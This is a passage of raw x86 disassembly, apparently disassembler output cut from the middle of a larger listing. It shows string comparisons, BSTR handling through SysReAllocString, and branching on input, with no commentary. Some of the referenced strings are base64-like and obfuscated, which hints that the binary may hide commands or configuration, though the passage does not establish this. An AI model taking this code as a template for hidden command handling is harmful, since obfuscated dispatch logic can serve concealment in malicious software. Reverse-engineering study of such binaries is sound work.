cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0xe4]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00431b80
lea ecx, [ebp - 0x1b8]
call fcn.00430920
mov byte [ebp - 4], 7
lea ecx, [ebp - 0xe4]
cmp dword [ebp - 0xd0], 8
cmovae ecx, dword [ebp - 0xe4]
call fcn.0045e770
lea ecx, [ebp - 0xe4]
call fcn.0042aa10
mov ecx, dword [ebp - 0xa0]
cmp ecx, 0x10
jb 0x5221f1
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f1a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x52228b
jmp 0x51f1a0
mov edx, 0x5b4748
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x51f965
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f930
sub ecx, dword [ebp - 0x24]
je 0x51f965
mov eax, dword [edx + 0x10]
test eax, eax
je 0x51f965
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x51f950
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x51f96c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x51f9a0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f996
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x522290
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x520241
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 8
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x51f9e0
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00522700
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
movups xmmword [ebp - 0xcc], xmm0
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
movups xmmword [ebp - 0x118], xmm0
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
lea eax, [ebp - 0x80]
mov byte [ebp - 4], 0xc
push eax
lea eax, [ebp - 0x118]
push eax
lea eax, [ebp - 0xcc]
push eax
lea edx, [ebp - 0xb4]
lea ecx, [ebp - 0x9c]
call fcn.00447030
add esp, 0x14
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x522295
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
push str.Sl9xckdC
lea ecx, [ebp - 0x40]
mov byte [ebp - 4], 0xd
call fcn.0042aff0
test al, al
jne 0x51fae8
push 8
push str.Sl9xckdC
lea ecx, [ebp - 0x40]
call fcn.0042b310
mov byte [ebp - 4], 0xe
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x52229f
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
push str.Sl9xclJna2M
lea ecx, [ebp - 0x3c]
mov byte [ebp - 4], 0xf
call fcn.0042aff0
test al, al
jne 0x51fb2c
push 0xc
push str.Sl9xclJna2M
lea ecx, [ebp - 0x3c]
call fcn.0042b310
push ecx
mov byte [ebp - 4], 0x10
mov edi, esp
mov dword [ebp - 0x28], esp
push ecx
mov esi, esp
mov dword [ebp - 0x68], esi
mov ecx, dword [0x5b8b28]
lea ecx, [ecx - 0x10]
call fcn.0042aa90
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004411f0
add esp, 4
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0x11
call fcn.004309a0
mov byte [ebp - 4], 0x12
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00431b80
lea ecx, [ebp - 0x1b8]
call fcn.00430920
mov byte [ebp - 4], 0x13
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x68], esp
mov dword [ebp - 0x84], edi
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x5222a9
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x14
call fcn.0042aff0
test al, al
jne 0x51fc1b
test esi, esi
jne 0x51fbfe
xor ecx, ecx
jmp 0x51fc12
mov ecx, esi
lea edx, [ecx + 2]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x51fc03
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042b310
push ecx
mov edi, esp
mov byte [ebp - 4], 0x15
push ecx
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x44], eax
call fcn.0042aa90
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004411f0
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x16
call fcn.00444120
add esp, 0xc
mov byte [ebp - 4], 0x10
lea ecx, [ebp - 0x100]
call fcn.0042aa10
push ecx
mov dword [ebp - 0x28], esp
mov edi, esp
push ecx
mov esi, esp
mov dword [ebp - 0x68], esi
mov ecx, dword [0x5b8b28]
lea ecx, [ecx - 0x10]
call fcn.0042aa90
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004411f0
add esp, 4
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0x17
call fcn.004309a0
mov byte [ebp - 4], 0x18
lea ecx, [ebp - 0x118]
cmp dword [ebp - 0x104], 0x10
mov eax, dword [ebp - 0x108]
cmovae ecx, dword [ebp - 0x118]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00431b80
lea ecx, [ebp - 0x1b8]
call fcn.00430920
mov byte [ebp - 4], 0x19
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
push ecx
cmovae esi, dword [ebp - 0x100]
mov edi, esp
mov dword [ebp - 0x68], esp
mov dword [ebp - 0x84], edi
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x5222b3
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [edi], eax
push esi
mov ecx, edi
mov byte [ebp - 4], 0x1a
call fcn.0042aff0
test al, al
jne 0x51fd58
test esi, esi
jne 0x51fd38
xor ecx, ecx
jmp 0x51fd4f
mov ecx, esi
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x51fd40
sub ecx, edx
sar ecx, 1
push ecx
push esi
mov ecx, edi
call fcn.0042b310
push ecx
mov edi, esp
mov byte [ebp - 4], 0x1b
push ecx
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x20], eax
call fcn.0042aa90
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004411f0
add esp, 4
mov ecx, SysReAllocString
mov byte [ebp - 4], 0x1c
call fcn.00444120
add esp, 0xc
lea ecx, [ebp - 0x100]
call fcn.0042aa10
mov byte [ebp - 4], 0x1d
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x5222bd
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x1e
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x5222c7
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
push 0x585eb8
lea ecx, [ebp - 0x34]
mov byte [ebp - 4], 0x1f
call fcn.0042aff0
test al, al
jne 0x51fe07
push 0x44
push 0x585eb8
lea ecx, [ebp - 0x34]
call fcn.0042b310
mov byte [ebp - 4], 0x20
lea ecx, [ebp - 0xe4]
push 0x7c
xorps xmm0, xmm0
mov dword [ebp - 0xd4], 0
push str.eSBfbm4gOHkgbWRkY3AgOHkgbWRkY3BHbGRtIDh5IHNwaiA4ICN1cSAqIG1nYiA4I3VxKiBtcnduYyA4ICN1cSB7eyogcWZtdV11Z2xibXUgOCBtZGRjcCB7ew
movups xmmword [ebp - 0xe4], xmm0
mov dword [ebp - 0xd0], 0
call fcn.004298d0
lea ecx, [ebp - 0x1b8]
mov byte [ebp - 4], 0x21
call fcn.004309a0
mov byte [ebp - 4], 0x22
lea ecx, [ebp - 0x80]
cmp dword [ebp - 0x6c], 0x10
mov eax, dword [ebp - 0x70]
cmovae ecx, dword [ebp - 0x80]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x60]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00431b80
lea ecx, [ebp - 0x1b8]
call fcn.00430920
mov byte [ebp - 4], 0x23
lea eax, [ebp - 0x60]
cmp dword [ebp - 0x4c], 8
lea ecx, [ebp - 0x2b0]
cmovae eax, dword [ebp - 0x60]
mov dword [ebp - 0x48], eax
call fcn.004309a0
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0xcc]
cmp dword [ebp - 0xb8], 0x10
mov eax, dword [ebp - 0xbc]
cmovae ecx, dword [ebp - 0xcc]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x130]
push eax
lea ecx, [ebp - 0x2b0]
call fcn.00431b80
lea ecx, [ebp - 0x2b0]
call fcn.00430920
mov byte [ebp - 4], 0x25
lea edi, [ebp - 0x130]
cmp dword [ebp - 0x11c], 8
lea ecx, [ebp - 0x1b8]
cmovae edi, dword [ebp - 0x130]
call fcn.004309a0
mov byte [ebp - 4], 0x26
lea ecx, [ebp - 0xb4]
cmp dword [ebp - 0xa0], 0x10
mov eax, dword [ebp - 0xa4]
cmovae ecx, dword [ebp - 0xb4]
add eax, ecx
push eax
push ecx
lea eax, [ebp - 0x100]
push eax
lea ecx, [ebp - 0x1b8]
call fcn.00431b80
lea ecx, [ebp - 0x1b8]
call fcn.00430920
mov byte [ebp - 4], 0x27
lea esi, [ebp - 0x100]
cmp dword [ebp - 0xec], 8
cmovae esi, dword [ebp - 0x100]
sub esp, 0x18
mov ecx, esp
lea eax, [ebp - 0xe4]
push eax
call fcn.0042a1c0
lea ecx, [ebp - 0x24]
call fcn.00440f90
mov byte [ebp - 4], 0x28
push dword [ebp - 0x48]
push edi
push esi
push dword [eax]
lea eax, [ebp - 0x1c]
push eax
call fcn.0041e190
mov edx, dword [ebp - 0x24]
add esp, 0x2c
add edx, 0xfffffff0
or eax, 0xffffffff
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x51ff9b
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lea ecx, [ebp - 0x100]
call fcn.0042aa10
lea ecx, [ebp - 0x130]
call fcn.0042aa10
lea ecx, [ebp - 0x60]
mov byte [ebp - 4], 0x21
call fcn.0042aa10
mov eax, dword [ebp - 0x38]
push 4
push ecx
mov edi, esp
mov eax, dword [eax + 0x10]
push ecx
mov dword [ebp - 0x48], eax
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x34]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042aa90
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.004411f0
mov ecx, dword [ebp - 0x48]
add esp, 4
call fcn.0045b6a0
mov eax, dword [ebp - 0x38]
push 8
push ecx
mov esi, esp
mov edi, dword [eax + 0x10]
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042aa90
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
call fcn.0045b6a0
mov ecx, dword [ebp - 0xd0]
cmp ecx, 8
jb 0x520062
mov edx, dword [ebp - 0xe4]
lea ecx, [ecx*2 + 2]
mov eax, edx
cmp ecx, 0x1000
jb 0x520058
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5222d1
push ecx
push edx
call fcn.00544be1
add esp, 8
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52007c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x520093
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x20]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5200aa
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x44]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x5200bf
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov ecx, dword [ebp - 0x6c]
cmp ecx, 0x10
jb 0x5200f3
mov edx, dword [ebp - 0x80]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5200e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5222d1
push ecx
push edx
call fcn.00544be1
add esp, 8
mov ecx, dword [ebp - 0x104]
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0xf
mov byte [ebp - 0x80], 0
cmp ecx, 0x10
jb 0x52013f
mov edx, dword [ebp - 0x118]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520135
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5222d1
push ecx
push edx
call fcn.00544be1
add esp, 8
mov ecx, dword [ebp - 0xb8]
mov dword [ebp - 0x108], 0
mov dword [ebp - 0x104], 0xf
mov byte [ebp - 0x118], 0
cmp ecx, 0x10
jb 0x520194
mov edx, dword [ebp - 0xcc]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x52018a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5222d1
push ecx
push edx
call fcn.00544be1
add esp, 8
mov ecx, dword [ebp - 0xa0]
mov dword [ebp - 0xbc], 0
mov dword [ebp - 0xb8], 0xf
mov byte [ebp - 0xcc], 0
cmp ecx, 0x10
jb 0x5201e9
mov edx, dword [ebp - 0xb4]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5201df
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5222d1
push ecx
push edx
call fcn.00544be1
add esp, 8
mov dword [ebp - 0xa4], 0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, dword [ebp - 0x88]
cmp ecx, 0x10
jb 0x5221f1
mov edx, dword [ebp - 0x9c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x51f1a0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5222d1
jmp 0x51f1a0
mov edx, 0x5b47a8
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x520295
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x24], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520260
sub ecx, dword [ebp - 0x24]
je 0x520295
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520295
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520280
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x1c], eax
jmp 0x52029c
mov dword [ebp - 0x1c], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x5202d0
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5202c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5222d6
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x1c], 0
je 0x52056e
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x29
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520310
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x28]
call fcn.00522700
add esp, 8
mov byte [ebp - 4], 0x2a
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x5222db
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
mov byte [ebp - 4], 0x2c
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x5222e5
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x2e
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x5222ef
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 0x30
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x5222f9
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x3c], eax
mov byte [ebp - 4], 0x32
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x522303
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
lea eax, [ebp - 0x34]
mov byte [ebp - 4], 0x33
push eax
lea eax, [ebp - 0x3c]
mov dword [ebp - 0x1c], 0
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x20]
lea ecx, [ebp - 0x9c]
call fcn.004447a0
mov esi, dword [ebp - 0x38]
add esp, 0x14
mov ecx, 0x5b8bec
mov eax, dword [esi + 0xc]
mov dword [ebp - 0x48], eax
lea eax, [ebp - 0x74]
push esi
push eax
call fcn.0041f690
mov edi, dword [ebp - 0x6c]
cmp byte [edi + 0xd], 0
jne 0x52230d
lea eax, [edi + 0x10]
push eax
push esi
call fcn.00422f60
test al, al
jne 0x52230d
push dword [edi + 0x14]
push dword [ebp - 0x1c]
push ecx
mov esi, esp
mov dword [ebp - 0x28], esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x34]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042aa90
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x34
mov esi, esp
mov dword [ebp - 0x84], esi
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov dword [ebp - 0x68], esp
mov ecx, eax
mov dword [ebp - 0x1c], eax
call fcn.0042aa90
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x35
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
mov dword [ebp - 0x84], esp
mov ecx, eax
mov dword [ebp - 0x38], eax
call fcn.0042aa90
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x36
mov esi, esp
mov dword [ebp - 0x2c], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042aa90
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x37
mov esi, esp
mov dword [ebp - 0x6c], esi
mov edi, dword [ebp - 0x20]
add edi, 0xfffffff0
mov ecx, edi
call fcn.0042aa90
mov ecx, dword [ebp - 0x48]
add eax, 0x10
mov dword [esi], eax
mov byte [ebp - 4], 0x33
call fcn.004069f0
mov edx, dword [ebp - 0x24]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52050e
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x1c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x520525
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x38]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52053c
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x2c]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x520553
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
lock xadd dword [edi + 0xc], esi
dec esi
test esi, esi
jg 0x520204
mov ecx, dword [edi]
push edi
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x520204
mov edx, 0x5b48c8
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x5205c5
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520590
sub ecx, dword [ebp - 0x2c]
je 0x5205c5
mov eax, dword [edx + 0x10]
test eax, eax
je 0x5205c5
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x5205b0
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x5205cc
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520600
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x5205f6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5222d1
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x5207c2
xorps xmm0, xmm0
mov dword [ebp - 0x8c], 0
movups xmmword [ebp - 0x9c], xmm0
mov dword [ebp - 0x88], 0xf
mov byte [ebp - 0x9c], 0
mov ecx, edi
mov dword [ebp - 4], 0x38
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520640
sub ecx, edx
lea eax, [ebp - 0x9c]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00522700
add esp, 8
mov byte [ebp - 4], 0x39
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x522317
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x3b
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x522321
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 0x3d
call fcn.0042ad80
mov ecx, eax
test ecx, ecx
je 0x52232b
mov eax, dword [ecx]
mov eax, dword [eax + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x20], eax
lea eax, [ebp - 0x20]
mov byte [ebp - 4], 0x3e
push eax
lea eax, [ebp - 0x44]
push eax
lea edx, [ebp - 0x1c]
lea ecx, [ebp - 0x9c]
call fcn.00448510
mov eax, dword [ebp - 0x38]
add esp, 4
mov esi, esp
mov dword [ebp - 0x6c], esp
mov edi, dword [eax + 0xc]
mov dword [ebp - 0xe8], esi
mov eax, dword [ebp - 0x20]
add eax, 0xfffffff0
mov ecx, eax
mov dword [ebp - 0x2c], eax
call fcn.0042aa90
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x3f
mov esi, esp
mov dword [ebp - 0x28], esi
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
mov dword [ebp - 0xe8], esp
mov ecx, eax
mov dword [ebp - 0x48], eax
call fcn.0042aa90
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x40
mov esi, esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x1c]
add eax, 0xfffffff0
mov dword [ebp - 0x28], esp
mov ecx, eax
mov dword [ebp - 0x24], eax
call fcn.0042aa90
add eax, 0x10
mov dword [esi], eax
push ecx
mov byte [ebp - 4], 0x41
mov esi, esp
mov dword [ebp - 0x68], esi
mov eax, dword [ebp - 0x38]
mov ecx, dword [eax]
sub ecx, 0x10
call fcn.0042aa90
add eax, 0x10
mov ecx, edi
mov dword [esi], eax
mov byte [ebp - 4], 0x3e
call fcn.00406d10
mov edx, dword [ebp - 0x2c]
or esi, 0xffffffff
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x52078d
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x48]
mov eax, esi
lock xadd dword [edx + 0xc], eax
dec eax
test eax, eax
jg 0x5207a4
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
mov edx, dword [ebp - 0x24]
lock xadd dword [edx + 0xc], esi
dec esi
test esi, esi
jg 0x520204
mov ecx, dword [edx]
push edx
mov eax, dword [ecx]
call dword [eax + 4]
jmp 0x520204
mov edx, 0x5b46e8
lea ecx, [ebp - 0x60]
call fcn.00440e60
mov edx, eax
test edi, edi
je 0x520815
mov ecx, edi
lea eax, [ecx + 1]
mov dword [ebp - 0x2c], eax
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x5207e0
sub ecx, dword [ebp - 0x2c]
je 0x520815
mov eax, dword [edx + 0x10]
test eax, eax
je 0x520815
cmp dword [edx + 0x14], 0x10
mov esi, eax
mov dword [ebp - 0x64], esi
jb 0x520800
mov edx, dword [edx]
push esi
push edx
push edi
call fcn.00556040
add esp, 0xc
neg eax
sbb eax, eax
inc eax
mov dword [ebp - 0x20], eax
jmp 0x52081c
mov dword [ebp - 0x20], 0
mov ecx, dword [ebp - 0x4c]
cmp ecx, 0x10
jb 0x520850
mov edx, dword [ebp - 0x60]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x520846
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x5222d1
push ecx
push edx
call fcn.00544be1
add esp, 8
cmp dword [ebp - 0x20], 0
je 0x520aee
xorps xmm0, xmm0
mov dword [ebp - 0xa4], 0
movups xmmword [ebp - 0xb4], xmm0
mov dword [ebp - 0xa0], 0xf
mov byte [ebp - 0xb4], 0
mov ecx, edi
mov dword [ebp - 4], 0x42
lea edx, [ecx + 1]
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x520890
sub ecx, edx
lea eax, [ebp - 0xb4]
push eax
lea edx, [esi + edi]
lea eax, [ecx + edi]
push eax
lea ecx, [ebp - 0x6c]
call fcn.00522700
add esp, 8
lea ecx, [ebp - 0xb4]
push 0
push 0x588d1c
call fcn.00428110
mov byte [ebp - 4], 0x43
push 0x2c
mov dword [ebp - 0x70], 0
mov dword [ebp - 0x6c], 0
call fcn.00544cc7
add esp, 4
mov dword [eax], eax
mov dword [eax + 4], eax
mov dword [eax + 8], eax
mov word [eax + 0xc], 0x101
mov dword [ebp - 0x70], eax
lea edx, [ebp - 0x70]
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0xb4]
call fcn.004433a0
mov esi, dword [ebp - 0x38]
lea eax, [ebp - 0x70]
push eax
mov ecx, dword [esi + 0xc]
call fcn.00413d80
mov eax, dword [ebp - 0x70]
push dword [eax + 4]
lea eax, [ebp - 0x70]
push eax
